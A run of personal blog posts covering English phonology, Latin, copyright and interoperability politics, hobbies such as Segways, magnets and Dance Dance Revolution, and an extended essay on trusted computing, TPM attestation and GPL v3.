If the final sound in a noun in the singular is:

The concise rule would then be that the combining forms "-ed" and "-es" are pronounced voiced ("-d", "-z") when combining with an existing vowel, voiced with a separate syllable ("-ed", "-ez") when combining with a similar sound that would create ambiguities ("s+s"="sez", "z+s"="zez", "d+ed"="ded", "t+ed"="ted", etc.), and otherwise voiced ("-d", "-z") after a voiced consonant and unvoiced ("-t", "-s") after an unvoiced consonant.

Native English speakers -- depending on their dialect -- know these rules strongly enough that they can apply them to nonexistent and made-up words, and even apply them (especially as children) faithfully to form and plausibly pronounce nonexistent forms of words that actually have irregular plurals or participles. But we still can't describe how we know how to pronounce our own language without doing a lot of research and reflection to try to extract a rule.

There's nothing like trying to explain something to make it seem unfamiliar and challenging when it was previously second nature.

If you know any exceptions, I'd be interested in hearing them. I might make a follow-up post on this topic, because I found it very interesting to study; I managed to produce my own corpus and then examine it for patterns, just like a real linguist, even though the speech I was studying was my own. But here's a warning: I don't plan to update or correct this post, so I don't recommend relying on it if you're a non-native student of English, especially if you have a more formal reference or a native speaker available. This explanation is just based on my own experiments with my own dialect, and, while there is an English phonetic rule along these lines, I may well have oversimplified it in a way that could be misleading.

Chris, who is a real linguist, reminded me of the concise notation that linguists have for expressing rules like those I recently wrote about. The rules for both past participle and plural are the same at this level of abstraction, and can be written in just two lines of symbols, although I don't know how to write them in HTML. Chris describes the first rule in words as "epenthesis [insertion of vowel] for CC [consonant followed by consonant] at same place and manner of articulation" and the second rule as "assimilation of word-final voicing".

It's nice that linguists have gotten so good at this stuff that they can communicate so concisely about it.

Did I say anything on this blog about that occasion on which I won a burrito from a jurisconsult (sc. Robin Dora Gross) by following a strict constraint in choosing my words throughout a long party?

It looks like they must be pretty serious.

I got a Powerball gyroscope toy, and I look forward to getting used to it; I'll let you know what I think when I've tried it for awhile. My hope in getting it is to strengthen my arms and reduce RSI problems; of course, several people who saw it immediately asked whether it were intended to cause or to cure RSI.

Google thinks it's much more common for people to have asked whether it was than to have asked whether it were, as I just reported some of my friends did with respect to my Powerball on seeing it for the first time. A reader is having trouble with that subjunctive, though.

The reason I used the subjunctive there is not specifically that I thought it was appropriate, but that I was influenced by the cena Latina I attended yesterday. I formed a whole bunch of indirect questions during the cena with subjunctives, like "scire velim an rusticatio iam sit plena", "debeo rogare an possint pittam, aut partem pittae, facere sine caseo", etc. (In case you were wondering, the answers to these two questions turned out to be "no" and "yes", which were just the answers I had been hoping for.) There is some discussion in the Vulgar Latin book I've been looking at about the emergence of "si" to mean "whether" as well as the conditional "if" (compare Portuguese "se"), but I've been sticking with "an".

Anyway, I'm not sure whether English indirect questions should use the subjunctive or not. I just used the subjunctive there because I was still thinking in a Latinate kind of way when I wrote my post about the Powerball. I welcome other opinions.

I bet some of you have a lot of Aaron's data cached, either in browser caches or RSS caches or whatever. If you do have some of it, can you help him get it back?

Eric Rescorla and his commenters are having a great discussion of Divine Command Theory and the Euthyphro problem. Eric is saying more rigorously something that I've tried to articulate in the past -- basically, that belief in a law-giving God is neither necessary nor (without more) sufficient for morality.

I actually visited Eric's site because I was looking for one of his papers on economics and computer security, but I'll take a good discussion of the Euthyphro instead...

Kragen has been pretty excited about something called dominant assurance contracts. These are a structure for funding the creation of public goods (solving the "public goods problem"), which continues to be a thorny and important problem. I haven't been able to understand the math so far; there's apparently an argument indicating that dominant assurance contracts should be able to fund projects that other funding models can't, without necessarily relying on altruism.

In discussing this prospect, Kragen made the simple but important observation that pretty much everyone experiences both self-interested and altruistic motivations. That suggests that economists who ignore or disbelieve in altruism have an overly narrow view, whereas idealists who try to solve large problems by relying only on altruism may not succeed.

Kragen was so interested in this paper that he made dozens of hard copies and spread them around at several places where lots of people were gathered. The number of people I met or heard about over and over again this weekend reminds me what a small world it is. Maybe its smallness will help Kragen spread this idea around quickly, if it turns out to work well.

I'm troubled to hear that the flag-burning amendment continues to be reintroduced every year. Apparently ACLU believes that there is once again a real risk that the amendment could pass. (It's worth noting that the amendment has already long commanded a majority in Congress, just not the required two-thirds supermajority necessary for a constitutional amendment.)

I'm comparably troubled because just the other day I suddenly remembered that I supported banning flag-burning when I was 12. I've been trying to remember what I was thinking; one obvious fact is that I did not have a radical civil liberties or human rights orientation until I was a teenager. In fact, I had a very Manichaean radical social conservative view. Good guys, bad guys; good acts, bad acts; unquestionable and unexamined rules that classify everything. I wonder how I exchanged that notion for civil liberties activism. Buried in that question is another question of whether other people can be induced to do the same thing and to follow the same path.

The other interesting questions about the views I had that led me to support censorship are, first, which vestiges of those views do I still hold, and, second, was there any validity to those views?

Star Wars Episode III was cheesy; it made a deliberate political reference to a timely and also a perennial problem, which is that you start out trying to do something and then you do the very opposite of that thing through your fervor to do it. Among the Star Wars instances of this in Episode III are Palpatine's attempt to save the Republic and Anakin Skywalker's attempt to save Padmé. The ease with which this can happen at any scale may be one reason why Eric Hoffer wrote things like

It is not only more sensible but more humane to base social practice on the assumption that all motives are questionable and that in the long run social improvement is attained more readily by a concern with the quality of results than with the purity of motives. The establishment of a desirable pattern of habits is more vital than the implanting of right beliefs and motives. A concern with right and wrong thinking is the manifestation of a primitive, superstitious mentality.

I believe that I've already experienced in my own life the kind of thing that George Lucas describes as happening to Anakin Skywalker (although I was fortunate enough not to have destroyed any planets as a result). And many other people have described it as well, and it's scary, because it means that we have to do something other than just have good motives or good fantasies, but we don't necessarily know what.

In the meantime, I hope some of you will help ACLU try to beat the flag-burning amendment again.

Zooko just sent me an interesting note about the ways of thinking about "incentive". In Zooko's view, "incentive" is often used to mean "motivation" but should instead more often be used to mean "way of meeting opportunity costs". For example, someone might say that royalties provide "incentive" for writing books or computer software. If "incentive" meant "motivation", this would be expressly contrary to lots of people's personal experience, since many people have found themselves quite motivated to do this sort of creative work. But if incentive refers to how people afford to do things instead of why they want to do them, it would be much more plausible -- in the sense that lots of people have to work for a living and meet other obligations, so that they don't have a lot of time to do creative work outside of their jobs. Zooko says he's becoming more and more aware of this sense of "incentive" because he has more obligations than he used to, so while his motivations to do things are undiminished, his available time and resources are more constrained.

This account is consistent (as I think Zooko observed) with Alfie Kohn's work on rewards. Getting paid for something may, at least according to some empirical research, actually make you want to do it less, and make you care about it less. But given other commitments and opportunity costs, it might also provide you with the opportunity to do it in the first place.

I think the word "incentive" has become rather politically charged. It's become common for people in copyright industries, especially in political advocacy, to use "incentive" as if it meant "motivation" -- but we know perfectly well that the copyright system and the copyright industries are rarely (charitably, "not uniformly") the reason people engage in expression and creativity. We might fall back on a statement like Lewis Thomas's, that "it is human nature to want to exchange ideas"; we might report on our personal experience, that we want to tell other people about what we think and feel and imagine and learn how to accomplish. In that context, it just sounds silly to speak of financial compensation as the only motivation for creativity, or to suggest that nobody would communicate without being paid to communicate. (Recall that they say Samuel Johnson said "No man but a blockhead ever wrote, except for money." You still hear that today.)

Ignoring for the moment the deep cultural chasms that can develop between people who practice the same thing as a vocation and as an avocation, it's true that the things we want to do have opportunity costs. And so in a world where there are debts to pay and obligations to meet, compensation can be a way of overcoming those opportunity costs, to give people the opportunity to do the things that perhaps they really wanted to do all along. In Zooko's account, that's incentive. "[I]t isn't that the [compensation] makes people feel happier about" their creative work. Of course, Zooko said this better and more concisely, and with reference to his actual experience.

In a way, this idea is sort of commonplace. I know plenty of people who have lots of good projects that they really want to work on, that they would really enjoy doing, that they want to share with other people, and they just wish that someone would come along and pay them to do those projects in lieu of spending their time on other things that are less interesting. Not that their existing projects are in any way deficient, but Matt Ettus and Bunnie Huang are two such people just within the electrical engineering world. They could each keep busy for years with useful, interesting stuff that they would like to do, if you want to pay them to do it. And that's a perfectly familiar sort of "incentive", as opposed to the kind of bribery to do something you hate -- which is what I often enough think I hear in copyright industries' policy advocacy rhetoric.

I'm not sure what motivated Zooko to make this observation just now, but I think it was my discussion of dominant assurance contracts. Maybe someone should try setting up such contracts to support Bunnie or Matt in working on something that is a public good in the field of technology. Or to support Zooko!

I had a lot of fun at CopyNight yesterday, including meeting Joe Gratz and several other people, and a lot of discussion about the other AAUP letter to Google, the Audio Home Recording Act, the prehistory of some of our contemporary copyright law (in the 1980s and 1990s!), and so on.

I just wrote a paper about compatibility in which I suggest that we should have privacy in what technology we use (that is, an attempt to tell or a means of telling technologies apart can be seen as a privacy invasion). I'm therefore relieved that at least one person on the other side is straightforward in saying that compatibility is not a goal for him.

We had this fight a lot (mostly out of sight of the press) when Dmitry Sklyarov was arrested. Dmitry's software achieved compatibility between Adobe eBooks and every sort of digital device in the world. Adobe's reaction was to say explicitly that this was improper because they were entitled to decide which kinds of compatibility could exist. Even though it was technically possible to achieve universal compatibility (and Dmitry had done so), they would, so to speak, try to turn back the clock and say that consumers were only entitled to compatibility on Adobe's schedule and at Adobe's sufferance. They said that even though you knew how to get the compatibility you wanted, you would have to wait until they did it for you, and they couldn't say when that would be.

More recently, when Real figured out how to achieve compatibility with Apple, Apple went on the attack and said that Real was using "the tactics and ethics of a hacker". Jamie Boyle explained the issue well:

The first lesson of the story is how strangely people use the metaphors of tangible property in new economy disputes. How exactly had Real "broken into" the iPod? It hadn't broken into my iPod, which is after all my iPod. If I want to use Real's service to download music to my own device, where's the breaking and entering? What Real had done was make the iPod "interoperable" with another format. If Boyle’s word processing program can convert Microsoft Word files into Boyle’s format, allowing Word users to switch programs, am I "breaking into Word"? Well, Microsoft might think so, but most of us do not. So leaving aside the legal claim for a moment, where is the ethical foul? Apple was saying (and apparently believed) that Real had broken into something different from my iPod or your iPod. They had broken into the idea of an iPod. (I imagine a small, Platonic white rectangle, presumably imbued with the spirit of Steve Jobs.)

Their true sin was trying to understand the iPod so that they could make it do things that Apple did not want it to do. As an ethical matter, is figuring out how things work, in order to compete with the original manufacturers, breaking and entering? In the strange netherland between hardware and software, device and product, the answer is often a morally heartfelt "yes!" I would stress "morally heartfelt". It is true manufacturers want to make lots of money, and would rather not have competitors. Bob Young of Red Hat claims "every business person wakes up in the morning and says 'how can I become a monopolist?'" Beyond that, though, innovators actually come to believe that they have the moral right to control the uses of their goods after they are sold. This isn't your iPod, it's Apple's iPod. Yet even if they believe this, we don't have to agree.

One approach to this is to deny that Real did to say that Real did adopt the tactics and ethics of a hacker, and that those ethics are actually preferable to Apple's ethics. Because Apple's ethics say that compatibility is not a goal, and the ethics of the hacker say that compatibility is a goal, and more than a goal.

And those ethics are outraged when someone precludes what we want and know how to do, and says: Be ye therefore patient.

Congratulations to Biella on her defense of her dissertation at the University of Chicago!

I hear that legal maxims don't have to agree, but I'm just curious. What about "damnum absque iniuria" vs. "every wrong has a remedy"?

I got a Powerball gyroscope toy and have been exercising with it, typically getting around 8,000 RPM but once momentarily breaking 10,000 RPM. I may yet write a piece about geeky forms of exercise.

The disturbing thing about the Powerball is of course that everyone who has seen it, starting with Aaron, has immediately asked "Is that meant to cause RSI, or cure it?".

I had a great time today riding Segway scooters with my friends. We rented them at Segway of Oakland, which is nearby the Lake Merritt BART station. You can see a couple of pictures thanks to Jim. (Only two of the pictures show us actually riding the Segways; we took them through Peralta Park, Jack London Square, nearby the Port of Oakland, through Oakland's Chinatown, past Snow Park, and along Lake Merritt. I've managed to follow our route with the aerial images in Google Maps, but I don't see a convenient way to annotate the images or make an animation showing our route. Too bad!) The pictures of us on the Segways were taken in Peralta Park.

I highly recommend the Learn to Ride a Segway program if you've got a couple of friends in the Bay Area and want to do something fun on the weekend.

I did manage to join President Bush in having fallen off a Segway. My Segway was actually turned on. I got a bit overconfident because I had ridden a Segway before, and tried to do some fancy stuff in beginner mode. The Segway didn't respond as quickly as I had expected, and I took a tumble. I don't know whether I was as funny as the cartoon character who keeps falling off the Segway in the training video.

Seattle may be the most vegan-friendly city I've ever visited. While wandering aimlessly about a few weeks ago, for instance, I happened upon Pizza Pi, a vegan pizza parlor named after the mathematical constant.

Seattle is also the geeky home of Math 'n' Stuff.

Remember the Processor Serial Number fight? I forgot about this, but an engineer who's been around the security world for a while reminded me that David Aucsmith (then at Intel) said some things that sound pretty familiar today:

"This is a new focus for the security community," said David Aucsmith, security architect for chip maker Intel. "The actual user of the PC -- someone who can do anything they want -- is the enemy."

His comments came at the Intel Developers Forum here Thursday as the company outlined its security plans. The discussion included Intel's controversial chip ID registration technology in the new Pentium III microprocessor.

Aucsmith said that more and more, software companies and content creators are targeting users as a major threat to security.

The reason: With a few keystrokes, users could freely distribute "bits that have value," said Aucsmith -- copying such content as software, DVD video and other valuable data.

Aucsmith pitched the problem as one in which Intel's processor serial number scheme can help. "Security enforces trust," he said. "We want to ID the machine that holds this data to be able to protect it."

What kind of subsidies to sugar production does the U.S. provide? What effect do they have on the price of sugar?

I understood the nutritionist Marion Nestle to have been complaining that U.S. sugar subsidies make sugar cheaper, so that we tend to eat too much of it (and so that processed food producers use added sugar as a substitute for the quality of their ingredients or the defects in their cooking processes). If that's right, then getting rid of the subsidies should make sugar more expensive and tend to make Americans healthier.

I ran this theory by Fred, and he thought that the U.S. sugar subsidies were making sugar more expensive, rather than cheaper. So getting rid of the subsidies would have just the reverse effect -- we would start eating more of it.

Both kinds of subsidy exist in the world. For example, you can have a subsidy by just paying the farmers cash (which would tend to lower prices). Or you can have a subsidy by restricting imports (which would tend to raise prices). I'm sure there are much more exotic forms of subsidy than these, but there isn't necessarily only one direction in which subsidies push prices. So which kind of effect do the U.S. subsidies to sugar have?

At Maggie Mudd in Bernal Heights they have a shake made with chai and vanilla ice cream (or soy ice cream). They called it Cha-Cha-Chai, but I think they should call it the Chiang Chai Shake.

A journalist let me know that someone created a hoax about a new Nintendo product -- using my picture!

Kragen's technique for inventing new kinds of software or new applications of existing software seems to me to have been invented by Ramon Llull. The difference is that Llull, according to Martin Gardner, was aiming at getting people to think about ideas such as "God's greatness is good" and "God's goodness is great", where Kragen is aiming at getting people to think about ideas like "we could combine BitTorrent and xwd" or "we could combine Wiki and Google Maps". But I almost think that Kragen's program ought to carry a credit to Llull.

David Chess pointed to an actual vision researcher's fantastic page of optical illusions, many of which I hadn't seen before and several of which were apparently discovered only recently. (Many of them seem to require Flash, Java, or other exotic things, but a few are simple animated GIFs.) This is really fun.

David refers to the rapid colored afterimage in particular, which I found amazing; I'm also impressed by the contrast gain control. If you're on a machine with a Flash player, I also recommend the rotating spokes.

The optical illusion home page quotes Purkinje: "Illusions of the senses tell us the truth about perception." This weekend I heard a reading by Michael Chorost, the author of Rebuilt: How Becoming Part Computer Made Me More Human Books, which had just been reviewed by Annalee in Techsploitation. Chorost, who uses a cochlear implant, says that losing and regaining a sense -- with the mediation of technology and with the mediation of software -- shows that perception is not what we assume it is. I guess the rest of us may have to rely on optical illusions to do that.

I've just ordered some more NdFeB magnets from All Electronics. These are really fun. They are also a little dangerous; I've cut myself a few times while playing with them.

It looks like you can get even more powerful magnets if you know where to look. Those at the high end really require some forethought, because it looks like they could break bones in your hand if you used them improperly. I don't think the magnets I have can do that, although they can certainly cause cuts and bruises. (They have so much potential energy that they can fly together quickly, powerfully, and unexpectedly. If you allow a small part of your body to get in the way, they can pinch you.)

I know I first read about these on Boing Boing, although I no longer remember when. I don't mean to make the smaller magnets sound so dangerous; mostly, they're extremely fun and interesting, and you simply have to think about what you're doing with them. I'm looking forward to getting my new magnets.

Will I never be satisfied? Now I really want to get some kind of diamagnetic material to play with magnetic levitation. The question is whether I should be content with getting a big graphite block (because graphite is partially diamagnetic) or whether I can get some liquid nitrogen around here -- and whether I can handle it safely. (Some materials immersed in liquid nitrogen are superconductors and are perfectly diamagnetic.) Surely some reader can advise me on these questions.

Not only do slashdot editors not read the articles they're writing about, but slashdot submitters don't read the articles, either. Take, for example, an article about how a Gartner person suggested that a TCG TPM could be used to prevent MacOS from running on regular PCs. Gartner says that the TPM could be used this way, and TCG says that Apple can use TPMs if it wants (without saying how they would be used). Apple says that it's not ready to announce any of the features of its new hardware. Slashdot reports all this as:

It seems that Apple has chosen to use the Trusted Platform Module chip to ensure that Mac OS X can only run on Apple Hardware.

(Emphasis added.)

Imagine a real discussion about this. We could have questions like

Oh well.

Hooray! I'm going to go to a Latin language immersion program in Petaluma in August!

There's a bunch of controversy over modern spoken Latin, and I've actually just written an article for other about some of the controversy and about the pleasure that neolatinists have with spoken Latin. I was thinking about this recently and recalling that I've heard people refer to the idea that Latin immersion is a perfectly plausible way to learn Latin as the "etiam canes" theory. This is a picturesque way of saying that Latin is a real human language that can be used for communication and learned, like other languages, through actually using it. (See also SALVI, an organization dedicated to this theory and also, as it happens, the organizer of the Latin immersion event I'm going to.)

The name of the "etiam canes" theory comes from a quotation from Reginald Foster, the master Latinist and Latin teacher at the Vatican, who is reputed to have said during one of his Latin programs that "in Roma antiqua, etiam canes linguam Latinam locuti sunt!". ("In ancient Rome, even the dogs spoke Latin!")

Who is the most powerful official in the U.S. government?

George W. Bush? Dick Cheney? Donald Rumsfeld?

I often think it's actually Rob Portman, the United States Trade Representative.

He has an office right across the street from the White House, but perhaps more significantly, he may have more influence on a larger overall volume and scope of legislation in the world than any other person.

I have been pretty critical of cell phones for emulating (ahem) the video game console industry in creatinng a permission and licensing culture for getting software and documents onto your phone. Typically you can't write software for your own phone unless you pay a licensing fee and sign a license with the manufacturer. As I've written here before, and as I recently wrote to a journalist about the game console industry, I would like to see "convergence" mean that cell phones and game consoles become PCs, rather than that PCs become cell phones and game consoles.

Can anyone think of a cell phone that's going the right way, that actually lets the owner program it (and -- gasp -- load media onto it) without having to get a license or a mod chip? I was thinking of getting a cell phone if I could find a user-programmable one, even if it's more expensive than the more restricted phones. For example, is there a fully programmable PDA with integrated phone where everyone can write code on the same basis? What is the most open cell phone on the market at the moment? Would I be better off moving to Southeast Asia?

Daring to dream, is there a programmable phone that can connect to multiple competing networks? One where someone will sell you generic end-to-end data transport that doesn't discriminate against any particular kind of traffic, so that you can develop new network applications for it?

I remember that Ryan Lackey said he was developing some secure voice code for cell phones or PDAs, which is one obvious application for programmable phones. I should ask him whether he was doing that under some kind of SDK license or not, and for which platforms.

I was just thinking about how one of the effects of precedent -- whether you want to call it momentum or path-dependence -- is well described by a Winnie the Pooh song:

The more it snows
Tiddly-pom, tiddly-pom
The more it goes
Tiddly-pom, tiddly-pom
The more it goes
Tiddly-pom, tiddly-pom
On snowing.

My most recent magnets have arrived. They're really strong.

The MGM v. Grokster decision wasn't issued today, so I still have a few days left in which I could post belatedly about the oral argument.

On Wednesday I reached a milestone: I successfully completed Healing Vision Angelic Mix at Heavy difficulty.

This is a notoriously difficult Dance Dance Revolution song from DDR 6th Mix (although there are many contenders for the title of "hardest song" and this is probably not one of them objectively). Since various DDR players have esteemed it as an extremely difficult song, and since it was one of the several hardest DDR songs I had ever seen someone complete in an arcade, it meant a lot to me to think of someday being able to complete it. Now I have, so I can claim, I think, finally to be a decent DDR player.

Angelic Mix and several other difficult songs I've passed are rated at 9 feet of difficulty; there are now a number of 9-foot songs I can reliably complete and others that I can't, which just goes to show that the number of feet does not represent something objective. (More precisely, the difficulty measured in feet isn't a well-ordered indication of my ability or inability to complete songs.) I have yet to pass a 10-foot or flashing 10-foot song, but now I think I'm going to get there.

It's amazing to think of the kids at the mall who are really good DDR players and can get a full combo on Healing Vision Angelic Mix or even substantially harder songs. It's clear that there are people not even in their teens yet who could absolutely clobber me, perhaps without even looking at the screens: for whose tournaments I could not even qualify, whose attention I could not elicit by playing, and who can make Heavy or Challenge play of songs I can't even pass appear effortless.

Professor Rudich taught in the name of an aikido master that the beginner makes an enormous motion, the expert makes a smaller motion, and the master makes an almost imperceptible motion.

Wendy organized a great trip on Friday evening to Mozart's Così fan tutte at the San Francisco Opera. We all dressed up; the best-dressed of all was Annalee, who wore a real tuxedo.

The opera was very well done. This production was "modernized" so that the sets and costumes were anachronistic but the plot was still the same. (I liked the Mesmer box, which is actually in the original opera.)

One really apparent thing about live performance of classical music is the immense attention span they require by our standards. I noticed this when I went to hear a live performance of Bach's Mass in B minor earlier this year, the second time I had heard it performed by the San Francisco Bach Choir. I love the Mass in B minor, but I was amazed to find how hard it was to pay attention for the entire three hour performance. (I don't think I had that problem the first time I heard it performed. Perhaps there was a greater sense of novelty for me, or perhaps I was a little more familiar with the music that time.) Così fan tutte was, I think, at least as long as the Mass in B minor, and one of the most salient things for me about seeing opera -- apart from the incredible skill of the performers -- is that length.

Almost any live classical music performance is much more demanding of sustained attention than popular contemporary music. Right now, I'm listening to the Run Lola Run soundtrack, which is made up of self-contained tracks of about 5 minutes apiece. I can't think of any classical work that would fit in that space. (Several of my favorite Dance Dance Revolution tracks are also based on well-known classical compositions. Wouldn't you know it, they're edited down to the DDR-standard 100 seconds. Remixes all.)

I wonder if our attention spans are really getting shorter in some kind of physiological sense. I wonder if attention span is really a matter of conditioning and we are getting conditioned differently than people in the past. Just this afternoon I bought a novel and had a co-worker remark that we would probably all be reading serializations (of perhaps 1,000 words at a time) instead of books soon.

I think there is evidence that attention span is affected by culture or by experience. I read about people in other parts of the world who don't feel the same kind of pain from waiting and doing nothing that we do. (For that matter, people who practice meditation often become downright eager to wait without any outside stimulus.) If we can learn conversational styles and condition emotional responses, why can't we learn attention styles?

Beyond that, there are anecdotes from other times when people would routinely do things that now seem practically superhuman, or at least "unrealistic" as expectations of others today. To quote again from Entertaining Ourselves to Death:

The first of the seven famous debates between Abraham Lincoln and Stephen A. Douglas took place on August 21, 1858, in Ottowa, Illinois. Their arrangement provided that Douglas would speak first, for one hour; Lincoln would take an hour and a half to reply; Douglas, a half hour to rebut Lincoln's reply. This debate was considerably shorter than those to which the two men were accustomed. In fact, they had tangled several times before, and all of their encounters had been much lengthier and more exhausting. For example, on October 16, 1854, in Peoria, Illinois, Douglas delivered a three-hour address to which Lincoln, by agreement, was to respond. When Lincoln's turn came, he reminded the audience that it was already 5 p.m., that he would probably require as much time as Douglas and that Douglas was still scheduled for a rebuttal. He proposed, therefore, that the audience go home, have dinner, and return refreshed for four more hours of talk. The audience amiably agreed, and matters proceeded as Lincoln had outlined.

I just saw a banner ad on slashdot that said "Switching from Windows to Linux can be prohibitively expensive" (presumably a quote from some research report or some IT manager's experience).

The subtext that wasn't included: "And we're eager to keep it that way!"

I just got the most recent issue of the FSF Bulletin in the mail. The Bulletin included an article about the progress toward GPL v3, which mentions again the trusted computing issue. There is only a passing reference to it:

To the extent that the movement has identified technological or legal measures likely to be harmful to freedom, such as ``trusted computing'' or a broadening of the scope of patent law, the GPL needs to address those issues from a perspective of political principle and the needs of the movement, not from primary regard for the industrial or commercial consequences.

This point is interesting and important in its own right, but I mention it here only because of the reference to trusted computing.

Let me try to clarify and elaborate on what I told FSF about this a while ago.

There are two obvious kinds of deleterious effects that TC can have on the free software movement. The first is that TC can be used to prevent users of free programs from accessing some kind of service at all, or from interoperating with some non-free program. The second is that TC can be used to prevent users who have the expressly-stated right to modify a free program from exercising that right, or to punish them if they do.

The first scenario arises in a few situations. One example would be a web site that demands that you access it only with Microsoft Internet Explorer, or a music store that demands that you access it only with iTunes, or a file server program that demands that you access it only with the client program that was written by the same company. Some of these examples are likely to involve DRM (trying to force you to use a client that enforces DRM rules), where others may not even have that excuse.

A TC platform strengthens the server's ability to control which client software can access it because the hardware on which the client is running can offer proof of the client's identity. The server can perform a key exchange with the client so that (absent a hardware attack on the TC platform) a session will be established with the session key shared only by the server and by an "authorized" client. This is hard to do without TC in the sense that if the "authorized" client knows something that it uses to authenticate itself, a reverse engineer can study the client and extract that information and then use it in the authentication process. The TCG design completely bypasses this: the client software does not need to contain any secrets to authenticate itself. Instead, the authentication is based on the entire system's boot history as observed by a trusted hardware component. The hardware component (the TPM) simply asserts that it saw a particular series of programs running on the system since boot time. (The use of "saw" here is an oversimplification; in fact, the TPM is dependent upon each program to allow it to "see" the next program in the chain.) If the server recognizes these programs, it can reason about whether they enforce security policies it approves of, including a policy of helping it identify which client program is over at the other end of the connection trying to communicate with it.

If the client is not one it recognizes, or the general software environment is not one it trusts, the server can simply refuse to communicate. Perhaps it can send an error message of some sort through the protocol to explain what's wrong.

The second scenario would arise most often today in an appliance like a TiVo. (TiVo, Inc., does not, as far as I know, use a TCG TPM as part of its hardware security in the most recent version of its product that it described to the FCC.) Suppose a manufacturer wants to use some free software in an appliance. If the software is licensed under a copyleft license, there will be some clause in the license like the GPL's "[y]ou must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program [...] to be licensed as a whole at no charge to all third parties under the terms of this License". OK, so our hypothetical manufacturer probably can't claim that as a matter of copyright law end users are forbidden to modify the software in the device. (If the manufacturer did claim this, then the original authors of the program, or other contributors, could say that the manufacturer had failed to "cause [the] work [...] to be licensed [...] to all third parties" and thus did not comply with the GPL's conditions on copying, and thus lacked valid permission to copy the program and was itself a copyright infringer.)

But just because end users have a copyright permission to exercise GPL-protected freedoms does not mean that they will have the technical means of doing so. The manufacturer can use technical means to make it hard for the user to modify the software in the device. With the exception of some enlightened manufacturers like Slim Devices (about whom more later), almost all manufacturers now use some kind of technical means to deter modification. This is in principle independent of how the software inside their devices is licensed. There is today no clear conceptual reason why the copyright licensing terms of embedded software have anything to do one way or the other with what technical means the manufacturer uses to make it easy or hard for end users to change the software.

And singling out trusted computing (in the narrow sense of the TCG TPM) here is probably a red herring. Manufacturers are able to use a wide variety of technologies, often custom technologies -- what we might call "bespoke trusted computing" -- to restrict or punish end-user modification. A TCG TPM may be too expensive, too complex, or a sort of overkill for this application. A TPM platform could certainly be used this way. One approach is to encrypt some of the software in the device, and require the device to be "activated" periodically by downloading the decryption key from the manufacturer. The activation process could involve the use of a TPM attestation to verify that the software requesting the decryption key was unmodified from the factory version.

Similarly, if an appliance (like a TiVo) uses some kind of data feed or on-line service provided by its manufacturer (like the TiVo guide data that reveals when particular programs are on TV), the appliance could contain a TPM and the manufacturer's server could ask client appliances to use the TPM to prove that their software is unmodified before receiving access to the service.

I do believe that bespoke solutions are much more common in the industry right now. All sorts of manufacturers have implemented hardware techniques to try to stop their customers from modifying embedded software, and virtually none of them are using TPMs for this. We can characterize what all of them are doing in the broadest sense as "trusted computing" -- they are trying to ensure that they can trust that the devices are implementing their policies as opposed to some other policies. But the similarities probably end there, because they are not necessarily using the same implementation techniques or any of the same technologies. One manufacturer's cell phone may do an attestation in a totally different way from another manufacturer's cell phone; one PVR may use a certain technique and another PVR may use a different one; one game console may check cryptographic signatures on operating system images and another may rely only on hardware tamper resistance.

The result of all this is that, TPM or no TPM, manufacturers have techniques for restricting changes to the embedded software configurations on their devices. And, TPM or no TPM, these techniques are usually defeasible by a dedicated reverse engineer. The reverse engineer faces three obvious problems: the reverse engineering process may be expensive, it may be difficult to share with other users, and it may be described as illegal in some jurisdictions. (In a way, all of these problems start to blur together -- a shame. "Tinkerers as thieves.")

Let's take stock of the situation. In the first place, we have proprietary software running on the PC platform and the ability to detect when it has been replaced by other software, in order to refuse to interoperate. In the second, we have proprietary devices that use a variety of techniques to prevent modification of their software, even though users might have an express authorization from the author of some of that software to modify it.

There is an interesting hybrid concern that I think was first expressed by Ross Anderson, which is that free software publishers can use TC to create proprietary software-like switching costs, lock-in, etc., by means of some kind of certification process. That is, they can have a certain "blessed" free software configuration (or distribution) with a cryptographic signature. Whoever changes it in any important way will void the validity of the signature. Perhaps the signature is important somehow for interoperability -- whether with DRM systems or on-line services or something else that clever business people will think up. (Importantly, I'm not sure there is any consensus on how far this has to go before it will be seen as a bad thing. The mere certification of a free software configuration as secure, reliable, etc., is something that the free software movement has generally supported. We have never seen a situation where the presence or absence of a particular certification has real technical consequences in terms of interoperability, and I don't think we've thought about it very much.)

The previous paragraph hints at an odd possibility: pure free software DRM implementations. Above, I noted that programs do not need to contain any secrets (as shipped) in order for their identity to be proven on a TPM platform. This literally does mean that a server can sometimes tell whether a free software program on a TPM platform will enforce DRM policies or not. (However, if the user makes any changes at all, the server can no longer tell. There is a remarkably severe penalty on those who modify their software. Proof-Carrying Code provides a possible way around this, if users are willing to accept the burden of constructing a proof that their changes don't undermine the verifier's security policy, and if the verifier is willing to accept the corresponding burden of verifying that proof.)

OK, so what can GPL v3 do to influence all of this?

One issue that I've talked about with FSF is the notion of "equivalent access to modify" software embedded in a device. The GPL v2 already contains an elegant definition of source code as "the preferred form of [a] work for making modifications to it". There could be an analogous definition of access to modify software -- along the lines of "the preferred means of access to a device for making modification to the software it contains". (That is, if you're an embedded device manufacturer and you include GPL v3-covered software in your device, and you have a technical means of modifying the software after the device is complete, you must give recipients of the device the same technical means.) However, this seems to become very muddy very quickly. I think it's possible (and valuable) to think of counterexamples where this seems to be difficult or impossible, or where this access becomes merged with other kinds of access that manufacturers might be reluctant to grant for entirely other reasons.

Another idea is that some GPL-covered software that is involved in the process of making TPM attestations could be designed not to co-operate with the attestation process, and then the GPL could forbid people to modify the software to co-operate. This is based on the idea that attestation is bad because it can be used to break interoperability or to punish people for modifying their software. (A more extreme interpretation might be that the GPL could allow authors of software to forbid downstream programmers from adding code that has the effect of invoking TPM extend or quote functions. Or a program could always do a TPM extend with random numbers, sort of the equivalent of scribbling in the TPM's memory, and downstream programmers could be forbidden to remove the code that has this effect.)

One problem with this is that, if it were adopted, it would also prevent use of the TPM for non-attestation applications such as secure key storage. There are already various people (especially at IBM) writing extremely useful free software TPM support that should allow you to use the TPM to do things like protect your GPG and SSH keys from certain kinds of software attacks. (They are still under your control in the sense that you can back them up and export them; you just enforce a policy that will forbid other programs from accessing them at run-time. This could make it a lot safer to have your GPG key on a network-connected machine.) It is particularly unfortunate that the TPM supports both extremely beneficial and extremely harmful applications in the same piece of hardware and even using the same code-identity concepts. It often reminds me of Eric Hoffer's claim that

Good and evil grow up together and are bound in an equilibrium that cannot be sundered. The most we can do is try to tilt the equilibrium toward the good.

Indeed, some trusted computing advocates have used this reasoning as an argument against proposals such as a boycott of TPM platforms (or as an argument against my Owner Override proposal). The reasons why the attestation applications that the free software movement disapproves of can or "cannot be sundered" from other trusted computing applications are an interesting debate that is beyond the scope of this article.

